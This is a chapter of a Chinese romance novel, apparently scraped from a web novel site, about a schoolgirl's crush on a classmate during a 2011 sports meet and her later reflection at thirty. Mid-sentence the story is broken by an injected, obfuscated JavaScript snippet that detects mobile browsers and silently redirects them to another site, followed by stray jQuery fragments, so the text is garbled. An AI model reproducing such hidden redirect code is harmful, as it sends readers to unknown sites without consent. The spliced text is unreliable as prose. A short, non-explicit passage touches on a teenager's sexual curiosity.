2011年秋


    班长蒋澜催促着在看台上吃零食、做卷子的同学撰写加油稿，施清如枕在一件校服外套上睡觉。


    蒋澜蹲到她面前，“施清如，等下你挑加油稿的时候，记得多挑些我们班的。”


    “……”


    回答他的只有一片死寂和耳边的风声。


    蒋澜咬了咬牙，要不是因为施清如是广播站的，加油稿又涉及到运动会班级分，他身为班长不得不顾全大局，否则他才不会这样低声下气地和她说话。


    “这是我们高中最后一届运动会，你能不能提点劲，有点集体荣誉感？等下马上就是男子100米预赛，有杨佳辰和陈安平，你——”


    施清如睁开眼坐起身，满不在乎地当着蒋澜的面打了一个哈欠，“知道了。”


    她一边说着，一边把马尾上的黑色皮筋松开，重新扎了一遍，右眼角下多了一道校服拉链压出来的粉红色烙印。


    阳光越过红砖钟楼，普照在人工草坪与塑胶跑道上。施清如竖起短袖校服的蓝色衣领，提起自己刚睡过的那件长袖外套，往身上一罩，阔步向广播台走去。


    九月底，秋老虎刚过去，气温陡然下降。运动会定在难得的艳阳天，但凉风依旧无休无止地刮着。


    施清如汗毛竖起，抖了抖身体，把校服拉链拉到最上面，遮住嘴唇，细白的手指也缩进袖口里。外套上有一丝栀子花香，她嗅了嗅，埋得更深。


    不多时，回荡在操场上的声音由低沉的男声，变为一个慵懒、清雅的女声。


    陈安平从操场边的小径回到2班的看台区，蒋澜提醒他。


    “马上就到男子100米预赛了，你快去准备。杨佳辰呢？”


    陈安平仰头喝了一口矿泉水，“不知道，没碰到，”他转了一圈，“你看见我的外套了吗？刚才就放在这里。”


    蒋澜指着广播台上的人说：“被施清如穿走了。”


    陈安平抬起头。


    看台中央拉着红色横幅，施清如坐在话筒后方，扎着清爽的高马尾，手缩在陈安平的校服里面，垂着眼帘慢条斯理挑选着加油稿。


    蒋澜说：“要不要去问她要回来？”


    “没事，”陈安平收回视线，摆了摆手，放下水瓶，“我去准备比赛。”


    “好嘞，加油打破你去年的记录。”


    陈安平笑笑，快步跑下看台。


    比赛开始前，蒋澜收了一批2班的加油稿交给施清如，暗示她多选点自己班的，施清如没表示，快速翻阅一张张小纸条，都是给杨佳辰和陈安平加油的。


    蒋澜离开后，施清如侧目向直线跑道的最尽头望去。


    陈安平和杨佳辰在同一小组里，他站在4号跑道，穿着白色T恤和黑色及膝的运动中裤。他身边的人，个个穿得像专业运动员，短裤包着大腿，骚气得很。陈安平表情平淡，安静地站在那，看起来像一个炮灰。


    不过——


    施清如弯起唇角。


    陈安平可是校记录保持者。


    枪响之前，广播台上再次响起施清如的声音。


    “金风送爽，凉露惊秋。胜利的号角已吹响。你是草原上恣意奔跑的猎豹，是战无不胜的雄狮……”


    杨佳辰揉着被广播震了一下的耳朵，拍了拍陈安平的肩。


    “加油！”


    陈安平收回目光，“你也是。”


    预赛的结果没有悬念，陈安平轻松第一。


    上午的赛程结束，施清如捏着矿泉水瓶从广播台下来。看台上大部分人已经散去，有的跑去食堂，有的在小卖部挑选零食，有的回班级提前做国庆卷子，还有的回寝室休息。


    陈安平还坐在看台上，T恤被风吹得一荡一荡。骆泽川饿极了，抛下他去小卖部买学校自制的奥尔良鸡翅。


    施清如一口气喝掉半瓶水，打了一声嗝，走到陈安平面前，居高临下睨着他。


    “在等我？”


    她念了太久的稿子，嗓子有些轻微的沙哑。


    陈安平抬头看她，轻笑着说：“没有。”


    施清如切了一声，“那你怎么不去吃饭？”


    “在等我的外套。”


    施清如低头看了眼自己身上的校服，没动静，一点没有还给他的意思。


    “去吃饭不？”


    “嗯。”


    “去几楼？三楼好不好？我今天想吃铁板饭。”


    “好。”


    三棍子打不出一个屁。


    闷葫芦。


    “你下午是不是还有一个400米预赛？”


    “嗯。”


    “嗯个屁啊，你能不能说三个字以上的句子？”施清如和陈安平并排走向食堂。


    陈安平还是挂着淡淡的笑意，“沙坑跳远练得怎么样？”


    “比去年远。”


    去年施清如拿了第三，刚好够站上领奖台。


    “加油。”


    “三个字以上！”


    “你加油。”


    “……陈安平你故意的是不是？”


    施清如用手肘撞了下他的胳膊，这么大个个子，竟就被她撞得没站稳，踉跄一步。施清如眼神好，瞥见他胳膊上竖起的汗毛。


    恰好一阵秋风吹过，从领口灌进校服里，施清如打了个寒颤，一把抓住他的臂膀，带着他跑起来，一边催促他。


    “快点，再晚三楼的铁板饭就要卖完了。”


    施清如是个急性子，像呼啸的风，总是从陈安平眼前闪过，留下一抹靓丽的残影。


    陈安平跑得快，但说话慢、走路慢，做什么事都慢，和施清如截然相反。


    她也不知道自己为什么总喜欢和他待在一起。


    夜晚躲在被窝里的时候，施清如摸出偷藏起来的MP4，撅着屁股跪在床上看下载好的言情小说。


    女生之间最初流行台湾作家的甜文，后来流行虐文，男女主互相折磨，不死不休，流产、囚禁是家常便饭，两个人之间往往还隔着某种深仇大恨。


    室友王雨灵心理成熟，在那个年纪对此类文的评价就只有三个字：神经病。


    但施清如看得乐此不疲。


    小说里总是一笔带过男女主的床事，寥寥几笔描写，却总带给她异样的感觉。


    施清如侧躺下，头发丝摩擦棉被发出粗糙的沙沙声，在这封闭的空间里，她只能听见自己的呼吸。


    高中并不是不谙世事的年纪，虽然性教育没有详细描述过这些事，但她从网络、小说各个角落里获得碎片信息，东拼西凑起来有了初步的概念。


    真的很舒服吗？


    她想。


    秋夜的丝绵棉被里，施清如出了一身薄汗，咬着嘴唇觉得秋老虎又返归，燥热得很。窗外落着小雨，她听不见，大胆又小心翼翼地试探，不敢深入。


    施清如觉得自己中暑了，身体无力地浸泡在汗水中。妈妈精心打理的睡衣飘着玫瑰香，弥漫在棉被下的空间里。


    她想起了陈安平。


    班里有些男生在夏末周日返校时会穿无袖衫，露出一部分肩膀，领口很深，露出锁骨和隐约的胸型，可是陈安平不会。他穿得最少的时候也是T恤，裤子永远是宽松的，不会超过膝盖之上五厘米。


    他真保守。


    陈安平跑步那么快，性子那么温吞。


    他在那件事上会是快还是慢呢？是天赋异禀还是完全不行？他那么保守，也许要等到结婚之后才会做。


    施清如轻轻叹了声，接着转念一想——


    只要早点结婚就可以了，等到法定年龄，她就拉着他去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314040|152368||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    结婚。


    二十岁，不对，男生要等到二十二岁。


    要多等他两年。


    叩叩。


    施清如还沉浸在想象中，没有听到床板被敲击的声音。


    叩叩——


    直到宿管老师熟悉又中气十足的声音在寝室响起。


    “施清如，你的被子在发光，交出来！”


    她还在放空，被子忽然被掀开，秋夜的凉意一下浇灌在她滚烫的身上。


    施清如讷然与宿管老师四目相对，数秒后MP4已不在她手里。


    “这才开学多久就已经第二次了，你这学期别想要回去了，期末再来找我拿。”


    第二天，施清如又被收走MP4的消息在班里传开，她不以为意。早自习的时候，她趴在陈安平同桌的位置上，恹恹地向他抱怨：


    “又被收走了，期末才能拿回来。”


    陈安平提前在写国庆的英语卷子，忍俊不禁，“小说这么好看？”


    说是早自习，但因为正在运动会期间，老师并不会严管，只有像陈安平这样极度自律的学生才在写作业。


    施清如盯着他半垂的眼睛，半晌才答：“超好看。”


    “回家再看吧。”他淡淡安慰她。


    她蠢蠢欲动，欲言又止，还是没忍住。


    “陈安平，我问你个事啊。”


    “嗯？”


    “你打算几岁结婚？二十二岁一到法定年龄就结你觉得怎么样？”


    陈安平的笔尖忽然顿住，在试卷洁白的纸上留下一个没有意义的墨点。


    良久，他说：“没想过，都可以吧，只要有想结婚的对象。”


    施清如猛拍自己的大腿，坐直了起来，巨响让陈安平朝她看过来，沉静的眼神从试卷移向她。


    明亮、清澈的眼眸中流光璨然，额前的碎发粘在她的眼角，鱼尾似的延伸出去。


    她对着陈安平的肩膀呼了一掌，扬着眉头说：


    “英雄所见略同！有喜欢的人就应该马上结婚！”


    施清如那时被欢喜冲昏了头脑，独独忘了问陈安平——


    他以后想不想和她结婚。


    -


    “这么说，你当时喜欢他？只是落花有意，流水无情？”


    周旺的提问刺中施清如，她的注意力从竹林拉回到办公室。


    施清如本来不想承认自己当时单恋，但又觉得这扭扭捏捏不承认的作风不是自己。


    “有点喜欢。”


    林琪思一边批改着数学作业，一边轻轻笑着说：“喜欢陈安平的不止你一个。他成绩好、体育好，长得又高又好看，青春期小女生喜欢他其实很正常。”


    施清如撇嘴，记忆里的陈安平又清晰了一分。


    她说：“还行吧，一般般。”


    周旺弯着腰在饮水机边接热水，“你要是联系上陈安平，就让他回来看看我们。我还挺好奇他现在什么样了。”


    施清如漫不经心揉着自己的耳垂，年初打的耳洞还在发炎流脓，时不时发痒。


    她没回答周旺的话，转而说：“不打扰你们，我还要和朋友去吃中午饭，先走了，下回再来看你们。恭喜生了个可爱小宝贝喔！”


    林琪思捏了捏她伸过来的手心，满脸慈爱，“去吧去吧，谢谢你来看我们，有心了。”


    分别总是拖沓的，施清如拉着林琪思的手又絮叨了两句，才缓缓穿过走廊，来到尽头的楼梯。


    一阶一阶往下走，每次沉重的一坠都撞击着她的骨头。


    施清如的性子已经不像从前那么急了，楼梯不是非得跑着走。没有铃声催促，她有很多的时间慢慢来。


    高三时，她幻想自己会在二十二岁的时候结婚。


    如今她三十岁了，却依旧孤身一人。